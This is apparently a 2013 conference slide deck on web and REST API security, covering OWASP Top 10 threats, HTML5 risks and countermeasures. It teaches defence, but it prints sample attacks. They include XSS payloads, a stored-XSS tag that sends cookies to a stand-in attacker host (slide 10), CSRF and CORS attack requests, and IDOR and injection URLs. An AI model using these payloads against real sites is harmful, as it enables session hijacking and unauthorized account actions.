Securing Rich Clients a nd RESTFUL Services

1. Securing Rich Clients and RESTFUL Services Sumit Daryani Vikas Charak Sept 25, 2013

2. Agenda • Web Development Trends • Web UI Architecture • Client side security assumptions • Most common web client threats and countermeasures • Most common REST API threats and counter measures

3. Trends in Web Development [Source: Col 1-4: wikipedia.org] as of Sept 2013 [Source: Col 5 : progammableweb.com]

4. Web UI Architecture

5. Client-side Security Assumptions • Browser Sandbox • Same Origin Policy (Origin = scheme://host:port) • Same-origin policy for DOM access • Same-origin policy for cookies • Same-origin policy for XMLHttpRequest • Same-origin policy for Flash/ Java/ Silverlight • Same-origin policy with HTML5  document.domain, img, script, css  cookies consider only host  XHR Level 1  custom policies  XHR Level 2 Making cross domain AJAX requests with modern browsers (http://caniuse.com/cors)

6. OWASP Top 10 Web Security Threats for 2013 • A1 Injection • A2 Broken Authentication and Session Management • A3 Cross-Site Scripting (XSS) • A4 Insecure Direct Object References • A5 Security Misconfiguration • A6 Sensitive Data Exposure • A7 Missing Function Level Access Control • A8 Cross-Site Request Forgery (CSRF) • A9 Using Components with Known Vulnerabilities • A10 Unvalidated Redirects and Forwards

7. DEMO – Client and Server Side Vulnerabilities • A1Injection • SQL, DOM, JSON, XML • A2Broken Authentication andSession Management • Session fixation and Session sidejacking • A3Cross-Site Scripting (XSS) • Non-persistent (reflected), persistent, DOM based • A4Insecure Direct Object References • A6Sensitive Data Exposure • Access to data at rest, in transit, in browser • A7Missing Function Level Access Control • A8Cross-Site Request Forgery (CSRF) • Malicious request for victim to execute • Client Side • Server Side

8. A1 Injection : DOM, JSON • DOM Injection: • Attacker manipulates the DOM and submits the request • Attacker manipulates the response being fed to a function to directly update the DOM • Disrupts page flow • Countermeasure: • Avoid using eval() to control DOM • Validate inputs on server-side • JSON Injection: • Attacker Intercepts and tampers with the data from/ to web server • Countermeasure: • Validate inputs on server side. Ensure that all transactions are conducted with appropriate authorization Web Server: myapp.com http://myapp.com Attacker

9. A2 Broken Authentication and Session Management • Countermeasure: • Use secure, HttpOnlycookies. • Do not accept session identifiers from GET / POST variable • Regenerating the session id after a successful login • Tomcat Server – context.xml • <Valve className="org.apache.catalina.authenticator.BasicAuthenticator" changeSessionIdOnAuthentication="true" /> • Additional checks - IP address matches with last used during that session. Public cafes / Intranet ? } can be configured in web.xml

10. A3 Cross Site Scripting (XSS) Reflected • Injected code in request is reflected in the response by the web application • Example, attacker sends the victim a misleading email with a link containing malicious JavaScript • http://myapp.com/home?s=<script>alert(‘XSS’)</script> • Same attack can be Hex encoded. http://myapp.com/home?s=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2018%58%53%53%2019%29%3C%2F%73%63%72%69%70%74%3E%20 • XSS in JSON {"name":"Foo "+alert(‘XSS’)+"Bar“} • Some browsers have built-in protection, or extensions available (e.g. NoScript) to prevent reflective XSS Stored • Injected code is stored and played back in later page views • Example, attacker posts a message containing malicious JavaScript on a blog. Check me out! <imgsrc=http://evilapp.com/hijacksession.jsp?sessioncookie=+ document.write(document.cookie) />

11. A3 Cross Site Scripting (XSS) Countermeasure: • Validate all input against: headers, cookies, query strings, hidden form fields • Encode user supplied data during output. ( e.g. jquery-encoder) • Use safer APIs that do not run scripts - JSON.parse, innerText • Use anti XSS filters on server. (e.g. HTMLPurifier, ESAPI, OWSAP AntiSamy). Prefer whitelisting to blacklisting • Use client-side tools with built-in XSS detection filters • Complete list for XSS detection: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

12. A8 Cross-Site Request Forgery (CSRF) • Attacker exploits user’s active session to perform action without consent • Synonyms: XSRF, Sea Surf, Session Riding, Hostile Linking, One-Click attack 2. Log In 7. Invitation sent confirmation 1. Open page Web Server: myapp.com 3. Session cookies set http://www.myapp.com 6. Hidden request (REST API) <a href="http://www.myapp.com/rest/user/friendrequest/evilUser">View my Pictures!</a> Victim 5. Open new tab and click link Attacker 4. Post malicious link Blog on vulnerable server http://evilblogs.com • Malicious request for victim to execute • Countermeasure: • POST instead of GET, secret cookie, page referrer check - does notwork • Unpredictable token with every request (synchronizer token design pattern) • Example, CSRF Guard or ESAPI library • Challenge user credentials again

13. A8 Cross-Site Request Forgery (CSRF) CSRF Countermeasure using tokens Client side:

14. HTML 5 Security Concerns • New Tags and Attributes • Cross-Origin Resource Sharing • Web Messaging • Web Sockets • Web Workers • Local Storage • Geolocation

15. HTML 5 Security Concerns New Tags and Attributes Threats: New XSS Vectors • Rich content from users • <video onerror=“alert(‘XSS’)”> • Event attributes • <form id=“myform”onformchange=“alert(‘XSS’)”> • <input type=“text” value=“ Injection here “onfocus=“alert(‘XSS’)” autofocus> • Bypasses black-list filter Countermeasure: • Update existing XSS filters in place. • HTML5 XSS cheat sheet - http://html5sec.org/

16. HTML 5 Security Concerns Cross-Origin Resource Sharing (CORS) • Server-side solution to circumvent the same-origin policy • <% Response.AddHeader("Access-Control-Allow-Origin", "<origin> | *") %> • Allows XHR Level 2 object to initiate a cross domain request directly • Simple Request – GET/HEAD/POST with Content-Type ‘text/plain’ • Preflight Request • CORS support on browsers (http://caniuse/com/cors) 3. Session cookie • Threat: Cross-Site-Request-Forgery Access-Control-Allow-Origin: * 2. Log In 1. Open page Web Server: myapp.com REST API http://www.myapp.com • $.ajax({ • url: 'http://myapp.com/rest/user/invite', • type: ‘post’, • crossDomain: true, • contentType: “text/plain; charset=UTF-8", • data: ‘{“user”:“evilUser”}’, • beforeSend: function(xhr) { • xhr.withCredentials = true; • } • }); (jQuery 1.5.1+) 5. XHR Content-Type : text/plain withCredentials : true Invoke any REST API call Victim using CORS capable browser 4. Open page Attacker http://evil.com

17. HTML 5 Security Concerns Cross-Origin Resource Sharing CSRF Countermeasure: • Restrict policy files. Avoid Access-Control-Allow-Origin: * • Whitelist the allowed Origins • Ensure GET request have no side-effects • Use CSRF token • Care when using Access-Control-Allow-Credentials: true response header • Do not base access control on the origin header - header can be modified by an attacker through sending a faked origin header • Configure firewall to block CORS requests if they arrive in a high frequency to prevent DDOS attack

18. HTML 5 Security Concerns Web Messaging (Cross-Document Messaging) • Allows documents to communicate with each other regardless of their origin using PostMessage API • Example: Rich mashup scenarios where components can exchange information and permissions with the parent page http://news.com/index http://myapp.com/index • Threat:XSS Injection if one of the trusted servers has been compromised news.com myapp.com iframe src=“http://news.com” Attacker 2. Respond with news <script> receive() <script> receive() 1. postMessage(“Fetch_News”) 2. XSS attack 4. Handle data 3. postMessage (payload with XSS)

19. HTML 5 Security Concerns http://myapp.com/index <iframesrc="http://news.com" id="newsframe"></iframe> http://news.com/index <script> • varnewsFrame = document.getElementById("newsframe").contentWindow; • setInterval(function(){ • newsFrame.postMessage("Fetch_News", 'http://news.com/'); • },5000); • window.addEventListener('message', receiver, false); • function receiver(e) { • if (e.origin == 'http://news.com') { • handle(e.data); • } • } Sanitize data here <script> • window.addEventListener('message', receiver, false); • function receiver(e) { • if (e.data == 'Fetch_News') { • event.source.postMessage("Latest News " , event.origin); • } • } XSS attack can happen here

20. HTML 5 Security Concerns Cross-Document Messaging XSS Countermeasures: • Check the origin attribute – accept messages only from indented domains • Check the data - source may have been attacked by XSS • Sanitize responses before calling eval or innerHTML • Accept only certain number of messages per minute – prevent DOS attack

21. HTML 5 Security Concerns Web Sockets and Web Workers • Web Sockets – enable two-way communication, obey SOP and support CORS Can be used to identify open, close and filtered ports on client’s local intranet. • Web Worker – JavaScript code runs in background, independent of other scripts, able to utilize multicore CPU • Web Worker – has access to XHR, navigator object, application cache, spawn other workers Threats:Web-based botnets (email spams, distributed password cracking, application level DDos attacks, network scanning) Countermeasure: • Fix XSS vulnerabilities • Do not allow creating web worker scripts or socket from user supplied input Internal network port scanning

22. HTML 5 Security Concerns Local Storage Vulnerable to manipulation from foreign sites <script> alert(window.localStorage.key) </script> Threats: Session Hijacking, confidential data disclosure, user tracking Countermeasure: • Just like cookies, don’t store confidential information • Encrypt and set expiration date • Do not store session identifiers in local storage, use HTTPOnly cookies instead

23. HTML 5 Security Concerns Geolocation • Provides physical location of user agent • Browsers vary on decision to remember location Threats: Privacy issues: user tracking, physical movement tracking, user correlation across domains. Countermeasure: • Protect user’s privacy: disclosure, deleting after use • Require user input before calling Geolocation API methods

24. REST API Threats and Counter Measures • Insecure Direct Object References • Sensitive Data Exposure • Handling Exceptions • Session Management • Unsecured Channels • Broken Authentication • Missing Function Level Access Control

25. REST - Insecure Direct Object References

26. REST- Insecure Direct Object References 1. Exposed endpoints - user may fat finger Ids in the REST URL. It is easy for an attacker to set up a loop and try all urls simply by incrementing a number. Recommendation: • Use GUIDs instead of sequence numbers as your IDs http://localhost:8080/restsec/user/1 vs http://localhost:8080/restsec/user/e1950ba339827bfae040af0a28974316

27. REST - Insecure Direct Object References 2. Importance of Path declarations (Jersey implementation) @Path("/list/from/{from}/size/{to}") public List<UserInfo> getUserInfoList(@Context HttpServletRequestaRequest, @PathParam("from") final intfromRecord, @PathParam("to") final inttoRecord) vs @Path("/liststr/from/{from}/size/{to}") public List<UserInfo> getUserInfoList(@Context HttpServletRequestaRequest, @PathParam("from") final StringfromRecord, @PathParam("to") final StringtoRecord) Injection: http://localhost:8080/restsec/user/list/from/1/size/3000w vs http://localhost:8080/restsec/user/liststr/from/1/size/3000w Recommendation: Be as specific as possible with your parameter/path data types

28. REST- Insecure Direct Object References 3. Validating input parameters for REST endpoints is very important. Clients can always get these REST end points from your user interface [using tools like firebug etc.] and invoke these directly. Example, a end point shown below is possibly designed to be used by user interface for pagination. http://localhost:8080/restsec/user/list/from/1/size/3000 Injection: http://localhost:8080/restsec/user/list/from/1/size/3000000 could cause your server to go down. Recommendation: • Other than your normal logic validations, pay attention to Limits and Range checks. • Validation is done programmatically or some frame works like RestEasy from JBoss lets you define your validators. Jersey2.0 has support for bean validations.

29. REST - Insecure Direct Object References • For large datasets, use streaming javax.ws.rs.core.StreamingOutput @Produces(MediaType.APPLICATION_JSON) @GET @Path("/liststream/from/{from}/to/{size}") public Response getStreamList() { StreamingOutput stream = new StreamingOutput() { @Override public void write(OutputStream out) throws IOException { for (inti= from; i <= to; i++) { String data=getData(i); out.write(data.getBytes()); out.flush(); } ….. close stream etc.. }; return Response.ok(stream).build(); } }

30. REST - Sensitive Data Exposure Be careful on the output of REST end points. Protect sensitive information from being displayed. Recommendation: Filter out columns of POJO you need for internal logic from being written out. Example, if using jacksonjson, you can do following: @JsonFilter(”userFilter") public class User { } ObjectMapper mapper = new ObjectMapper(); FilterProviderfltrProvider = new SimpleFilterProvider().addFilter("userFilter", SimpleBeanPropertyFilter.filterOutAllExcept("name")); OR FilterProviderfltrProvider = new SimpleFilterProvider().addFilter( "userFilter", SimpleBeanPropertyFilter.serializeAllExcept("ssn")); String json = mapper.filteredWriter(fltrProvider).writeValueAsString(userList);

31. REST - Handling Exceptions Do not allow stack trace exposure to the end user. Recommendation: • Catch all exceptions and print user friendly messages • You can use global message handler like below @Provider public class ExceptionHandler implements ExceptionMapper<Exception> { @Override public Response toResponse(Exception ex) { ex.printStackTrace(); return Response.status(404) .entity("An error occurred while processing your request.") .type("text/plain").build(); } }

32. REST – Session Management Best practice - no sessions at all for RESTful services. • Avoiding sessions reduces memory foot prints of REST calls but that will mean you need to authenticate each request • A user interface using RESTful calls will need session, as you do not want to authenticate user with each call Recommendation: Option 1: Pass a custom header while making a REST call from your user interface. Server can check for the existence of this header and then create a session for an authenticated user. JQuery example: $.ajaxSetup({ headers:{“some-client”, “userinterface”}}) Option 2: Create separate users for user interface and direct API calls. Based on user type you may choose to create a session. This introduces user management. Option 3: API Tokens : Issuing tokens for API calls. For example, separate token for READ operation and separate token for ADD operation etc.

33. REST - Unsecured Channels Data transport over unsecured layer. Recommendation: Never send sensitive information without SSL. Encrypt communication between client and server. Option: One-Way SSL/TLS Client validates the server. Shared secret key to encrypt communication between client and server. Some HTTPD directives: SSLCertificateFile my.crt (Server PEM-encoded X.509 Certificate file) SSLCertificateKeyFilemy.key (Server PEM-encoded Private Key file)

34. REST - Unsecured Channels Option: Two-Way SSL/TLS Client validates the server. Server validates the client. Shared secret key to encrypt communication between client and server. Some HTTPD directives: SSLCertificateFile my.crt (Server PEM-encoded X.509 Certificate file) SSLCertificateKeyFilemy.key (Server PEM-encoded Private Key file) # AUTHORIZED CLIENTS SSLVerifyClient require SSLCACertificateFile clients.crt (PEM-encoded CA Certificates for Client Auth)

35. REST - Unsecured Channels Option: Signing REST API requests SSL/TLS is slow. Clients can initially use secure channel to obtain a key and then rest of the calls could be on a non-secure channel. • Client uses secure channel to obtain a key based on CLIENT_ID from your server. One time process. You can also have keys expire after certain time [few months]. curl –u javaone:javaonehttps://examle.com/restsec/getapikey Lets say key=javaone • Client assembles the REST call for non-secure channel. Signing requests example code: String static final HMAC_ALGO = "HmacSHA1"; String static final CLIENT_KEY= ”javaone"; String REST_CALL_PART= /user/list"; ….. Key keySpec = new SecretKeySpec(CLIENT_KEY.getBytes(), HMAC_SHA1_ALGORITHM); Mac macInstance = Mac.getInstance(HMAC_ALGO); macInstance.init(keySpec); byte[] restCall= macInstance.doFinal(REST_CALL.getBytes()); String signature= Base64.encodeBase64String(restCall);

36. REST - Unsecured Channels • Client signs the request using the above key and adds CLIENT_ID and CLIENT_SIG in the http header. curl –H “CLIENT_ID:1234” –H “CLIENT_SIG:IBt4yL+Gz1kGtcFwtS6aMFP2kUc=”http//example.com/restsec/user/list/from/1/size/3000 • Server recalculates the signature (Hash of the request) based on your CLIENT_ID and the corresponding key it has for that CLIENT_ID. • Server matches both signatures, if a match is found you are authorized.

37. REST - Unsecured Channels Issue: The request can be replayed by an attacker if the data is sent over non-secure channel. Recommendation: • Use secure channel but this is slow. • Clients can use time stamp as part of rest call and server can expire the call with in specific period. This narrows the attack window. String timeStamp= “ts:”+System.currentTimeMillis(); String signature= Base64.encodeBase64String(restCall+”:”+timeStamp);

38. REST - Broken Authentication Users can essentially invoke REST end points directly and if all end points are not authenticated, they can get access to unauthorized resources. Recommendation: • Always use HTTPS for Basic Authentication. Client GET curl –u javaone:javaone https://localhost:8080/restsec/user/list/from/1/size/3000 Server side: request.getHeader("authorization”) = “Basic amF2YW9uZTpqYXZhb25l” auth=“amF2YW9uZTpqYXZhb25l” Base64.decode(auth)= javaone:javaone

39. REST - Broken Authentication 2. Always intercept all REST calls for authentication, authorization and possibly logging. • Intercepting REST calls using servlet filter in web.xml: <filter> <filter-name>restFilter</filter-name> <filter-class>com.javaone.demo.sec.RestSecurityFilter</filter-class> <init-param> <param-name>whitelist</param-name> <param-value>publicresources/</param-value> </init-param> </filter> <filter-mapping> <filter-name>reportSecurityFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> • Intercepting REST calls using ContainerRequestFilter [Jersey] in web.xml: <servlet> <servlet-name>Rest Web Application</servlet-name> <servlet-class>com.sun.jersey.spi.container.servlet.ServletContainer</servlet-class> <init-param> <param-name>com.sun.jersey.spi.container.ContainerRequestFilters</param-name> <param-value>com.javaone.demo.sec.MyContainerRequestFilter</param-value> </init-param> </servlet>

40. REST - Broken Authentication 3. You could use SSO. OATH: RFC6749 The OAuth 2.0 authorization framework enables a third-party application to obtain limited access to an HTTP service, either on behalf of a resource owner by orchestrating an approval interaction between the resource owner and the HTTP service, or by allowing the third-party application to obtain access on its own behalf. Ref: http://tools.ietf.org/html/rfc6749 SAML: RFC6595 XML is used to exchange authentication and authorization messages between SAML Identity Provider and Relying Party. When a user requests a resource from Relying Party(RP), RP redirects the user to Identity Provider (IP) for authentication of the user and authorization of the resource requested. User authenticates and possibly authorizes any information about the user itself. IP redirects the user back to RP with saml assertion. RP gets user identity information and proceeds accordingly. RP may establish a session with the user. Ref: http://tools.ietf.org/html/rfc6595

41. REST - Missing Function Level Access Control A malicious authorized user, could simple change the URL and may try to gain access to more privileged functions. Recommendation: • Make sure authenticated user gets access to resources which belong to his/her account. http://localhost:8080/restsec/clientid/1234/user/list Injection: http://localhost:8080/restsec/clientid/6789/user/list • Make sure authenticated user can invoke end points based on his access level. http://localhost:8080/restsec/admin/user/list (A urlmeant for Admin user only)

42. Q&A